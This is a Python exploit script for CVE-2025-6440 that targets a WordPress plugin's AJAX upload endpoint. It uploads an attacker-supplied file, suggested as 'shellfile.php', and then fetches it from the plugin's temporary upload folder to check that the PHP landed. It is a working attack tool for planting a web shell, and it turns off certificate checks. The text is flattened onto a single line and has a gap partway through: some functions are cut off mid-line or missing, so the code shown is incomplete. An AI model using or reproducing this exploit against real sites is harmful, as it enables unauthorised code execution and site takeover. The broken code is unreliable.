#!/usr/bin/env python3 import argparse import urllib3 import json import os import secrets import sys from urllib.parse import urljoin from colorama import Fore, Style, init import mimetypes import requests from io import BytesIO BANNER = "[ CVE-2025-6440 SCRIPT BY PWDNX1337 ]" def norm(base: str) -> str: if not base.startswith(("http://", "https://")): base = "http://" + base return base.rstrip("/") + "/" def ajax_url(base: str) -> str: return urljoin(base, "wp-admin/admin-ajax.php") def uploads_base(base: str) -> str: return urljoin(base, "wp-content/uploads/") def is_png(b: bytes) -> bool: return b.startswith(b'\x89PNG\r\n\x1a\n') def contains_php(b: bytes) -> bool: return b.find(b'", fname, f"({len(file_bytes)} bytes, {mime})", flush=True) print("[VERBOSE] Headers:", json.dumps(headers, indent=2), flush=True) try: resp = requests.post( target, data=data, files=files, headers=headers, timeout=timeout, allow_redirects=True, verify=False ) if verbose: print(f"[VERBOSE] HTTP Response: {resp.status_code}", flush=True) print(f"[VERBOSE] Response length: {len(resp.text)}", flush=True) return resp except Exception as e: print("[!] Upload request failed:", e, flush=True) return None def check_remote(public_url: str, save_copy: str = None, timeout: float = 11.0, verbose=False): try: r = requests.get(public_url, timeout=timeout, allow_redirects=True, verify=False) except Exception as e: print("[!] Remote GET failed:", e, flush=True) return None info = { "status_code": r.status_code, "content_type": r.headers.get("Content-Type", ""), "body_bytes": r.content } if save_copy: try: with open(save_copy, "wb") as fh: fh.write(r.content) if verbose: print(f"[VERBOSE] Saved remote copy to {save_copy}", flush=True) except Exception as e: print("[!] Could not write save_copy:", e, flush=True) return info def main(): init(autoreset=True) print(Fore.GREEN + Style.BRIGHT + BANNER + Style.RESET_ALL, flush=True) parser = argparse.ArgumentParser(description="") parser.add_argument("--url", required=True, help="") parser.add_argument("--file", required=True, help="shellfile.php") parser.add_argument("--verbose", action="store_true", help="Enable detailed debug output") args = parser.parse_args() base = norm(args.url) if not os.path.exists(args.file): print("[!] File not found:", args.file, flush=True) sys.exit(1) with open(args.file, "rb") as fh: file_bytes = fh.read() name_on_upload = os.path.basename(args.file) mime_guess, _ = mimetypes.guess_type(name_on_upload) mime = mime_guess or "application/octet-stream" uniq = secrets.token_hex(6) print("[*] URL:", base, flush=True) print("[*] uniq:", uniq, flush=True) print("[*] Uploading file:", args.file, "->", name_on_upload, "MIME:", mime, flush=True) resp = upload_file(base, uniq, file_bytes, name_on_upload, mime, verbose=args.verbose) if resp is None: print("[!] Upload failed", flush=True) sys.exit(2) print(f"--- Upload Response (HTTP {resp.status_code}) ---", flush=True) print("[Response body omitted]", flush=True) public_from_json = None try: j = resp.json() if args.verbose: print("[VERBOSE] JSON Response:", json.dumps(j, indent=2), flush=True) if isinstance(j, dict): for v in j.values(): if isinstance(v, str) and ("/wp-content/" in v or v.endswith(name_on_upload)): public_from_json = v break except Exception: if args.verbose: print("[VERBOSE] Response text (first 400 chars):", flush=True) print((resp.text or "")[:400], flush=True) if public_from_json: if public_from_json.startswith(("http://", "https://")): public = public_from_json else: public = urljoin(base, public_from_json.lstrip("/")) else: public = urljoin(uploads_base(base), f"wcdp-uploads/temp/{uniq}/{name_on_upload}") print("[*] Public URL:", public, flush=True) out_download = f"downloaded_{uniq}.bin" print(f"[*] Fetching uploaded file from: {public}", flush=True) if args.verbose: info = check_remote(public, save_copy=out_download, verbose=True) else: info = check_remote(public, save_copy=None, verbose=False) if info is None: print("[!] Could not fetch remote file", flush=True) sys.exit(1) print(f"--- Remote File Download (HTTP {info['status_code']}) ---", flush=True) print("[Remote file content omitted]", flush=True) if is_png(info["body_bytes"]): print("[*] Remote file is PNG format", flush=True) else: print("[*] Remote file is NOT PNG format", flush=True) if contains_php(info["body_bytes"]): print("[!] Remote file contains PHP tags - suspicious", flush=True) idx, extracted = extract_php_from_bytes(info["body_bytes"]) if idx >= 0 and args.verbose: outname = f"extracted_{uniq}.php" with open(outname, "wb") as fh: fh.write(extracted) print("[*] Extracted PHP code saved to:", outname, flush=True) if args.verbose: print("[*] Saved remote copy as:", out_download, flush=True) if is_png(info["body_bytes"]): print("[*] You can open it in an image viewer (should match your uploaded file).", flush=True) if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) main()